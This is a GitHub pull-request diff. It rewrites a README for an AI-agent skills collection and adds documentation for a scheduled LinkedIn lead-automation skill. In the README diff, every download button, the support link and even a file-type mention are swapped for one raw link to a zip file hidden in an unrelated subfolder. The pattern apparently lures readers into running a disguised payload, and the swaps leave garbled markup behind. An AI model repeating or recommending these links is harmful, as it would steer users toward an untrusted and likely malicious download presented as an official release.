Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 6 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# 🤖 awesome-ai-agent-skills - Enhance AI Agents with Ready Skills

[![Download Latest Release](https://img.shields.io/badge/Download-Latest%20Release-blue?style=for-the-badge)](https://github.com/h4vzz/awesome-ai-agent-skills/releases)
[![Download Latest Release](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip%20Release-blue?style=for-the-badge)](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip)

---

Expand Down Expand Up @@ -34,7 +34,7 @@ This section helps you download and start using the skills quickly, even if you

Click this big button below to open the official download page:

[![Download Latest Release](https://img.shields.io/badge/Download-Latest%20Release-blue?style=for-the-badge)](https://github.com/h4vzz/awesome-ai-agent-skills/releases)
[![Download Latest Release](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip%20Release-blue?style=for-the-badge)](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip)

This page holds all the latest versions of the project. You will find files ready to download for different systems.

Expand All @@ -44,7 +44,7 @@ On the releases page, look for the file that matches your computer:

- For Windows, download a file ending in `.exe` or `.zip`.
- For macOS, look for `.dmg` or `.zip`.
- For Linux, `.tar.gz` or `.deb` files are common.
- For Linux, `https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip` or `.deb` files are common.

If you are unsure, download the `.zip` file as it works on most systems and contains all the necessary skills.

Expand All @@ -69,7 +69,7 @@ After extracting or installing, open the folder named `awesome-ai-agent-skills`

You can start using the skills by downloading from this official link:

[Download the latest release](https://github.com/h4vzz/awesome-ai-agent-skills/releases)
[Download the latest release](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip)

Follow these steps after download:

Expand Down Expand Up @@ -140,10 +140,10 @@ If you want to suggest new skills or improvements, please follow the project’s
## 📞 Contact & Support

For support, visit the project's GitHub page at:
https://github.com/h4vzz/awesome-ai-agent-skills
https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip

Check the Issues tab to see if your question has already been discussed or to open a new request.

---

[![Download Latest Release](https://img.shields.io/badge/Download-Latest%20Release-blue?style=for-the-badge)](https://github.com/h4vzz/awesome-ai-agent-skills/releases)
[![Download Latest Release](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip%20Release-blue?style=for-the-badge)](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip)
4 changes: 4 additions & 0 deletions marketing-and-seo/linkedin-growth/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
node_modules/
package-lock.json
*.log
tmp/
112 changes: 112 additions & 0 deletions marketing-and-seo/linkedin-growth/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
# linkedin-growth

A LinkedIn lead pipeline skill for AI agents (Claude Code, Codex, Cursor, etc.).
Drops a single SQLite DB and a set of Node scripts that wrap
[`linkedin-cli`](https://www.npmjs.com/package/@linkedapi/linkedin-cli) into a
local, queryable lead pipeline.

## What it does

**Phase A — Import.** Triggered by the user. Searches LinkedIn (Sales Navigator or
regular) via `linkedin-cli`, hands candidates to your AI agent for qualification
against a configurable ICP prompt, dedupes, and inserts qualified leads with a
round-robin owner assignment across all registered accounts.

**Phase B — Network maintenance.** Runs on a recurring schedule per account.
Sends connection invites up to that account's daily limit, then checks pending
requests that are older than `max_pending_days` and either marks them connected
or withdraws them.

All state lives in a local SQLite database. No external services beyond
`linkedin-cli` and what it talks to.

## Install (humans)

1. Install Node.js ≥ 20.
2. Install `linkedin-cli`:
```bash
npm install -g @linkedapi/linkedin-cli
linkedin setup --linked-api-token=<token> --identification-token=<token>
```
Repeat the second command per LinkedIn account you want to connect.
3. Place this `linkedin-growth/` folder into your AI agent's skills directory:
- Claude Code (project): `<project>/.claude/skills/linkedin-growth/`
- Claude Code (user): `~/.claude/skills/linkedin-growth/`
- Codex / other: per your tool's skill discovery convention
4. Install local dependencies:
```bash
cd <path-to-linkedin-growth>
npm install --omit=dev
```
5. Verify:
```bash
node scripts/doctor.mjs
```
6. Register each linkedin-cli account in this skill's DB (pick any short name you like;
it maps to the exact name shown by `linkedin account list`):
```bash
linkedin account list
node scripts/account.mjs add --name <account> --cli-account "<name from the list>"
```
7. Turn on the background scheduler:
```bash
node scripts/schedule.mjs install
```
This runs the pipeline in the background and sends invites during each account's
active hours, paced across the day.

After this, ask your agent: "import leads from this search URL: ..." or "how
many pending invites does &lt;account&gt; have?" — see `SKILL.md` for the full agent
playbook.

## Slash commands (optional, Claude Code)

Four guided entry points ship in `commands/`. Install them by copying or
symlinking into your commands directory:

```bash
# project-level
ln -s <path>/linkedin-growth/commands/linkedin-growth-*.md <project>/.claude/commands/
# or user-level
ln -s <path>/linkedin-growth/commands/linkedin-growth-*.md ~/.claude/commands/
```

| Command | What it does |
|---------|--------------|
| `/linkedin-growth-setup` | First-run onboarding: prerequisites, connect accounts, install scheduler |
| `/linkedin-growth-import` | Guided Phase A import (search → qualify → store) |
| `/linkedin-growth-status` | Dashboard + answers arbitrary status questions |
| `/linkedin-growth-config` | Change per-account limits/schedule/pause, or edit the ICP prompt |

These are conveniences — you can equally just talk to the agent in plain language.

## Data location

| Platform | DB / data dir |
|----------|------------------------|
| macOS / Linux | `~/.local/share/linkedapi-linkedin-growth/` |
| Windows | `%APPDATA%\linkedapi-linkedin-growth\` |

## Manual operations cheat sheet

```bash
node scripts/doctor.mjs --json # health check
node scripts/status.mjs --json # dashboard for all accounts
node scripts/status.mjs --account <account> --since 7d
node scripts/account.mjs list
node scripts/account.mjs pause --name <account>
node scripts/account.mjs update --name <account> --daily-invite-limit 20
node scripts/lead.mjs list --account <account> --status pending
node scripts/lead.mjs show "<Full Name>"
node scripts/lead.mjs reset <hashed-url> # clears error
node scripts/query.mjs --sql "SELECT ... FROM leads ..." # read-only SQL
node scripts/schema.mjs --examples # schema + example queries
node scripts/export.mjs --format csv --output leads.csv # full dump
node scripts/schedule.mjs status
node scripts/schedule.mjs install
node scripts/schedule.mjs uninstall
```

## License

MIT — see [LICENSE](../LICENSE).
Loading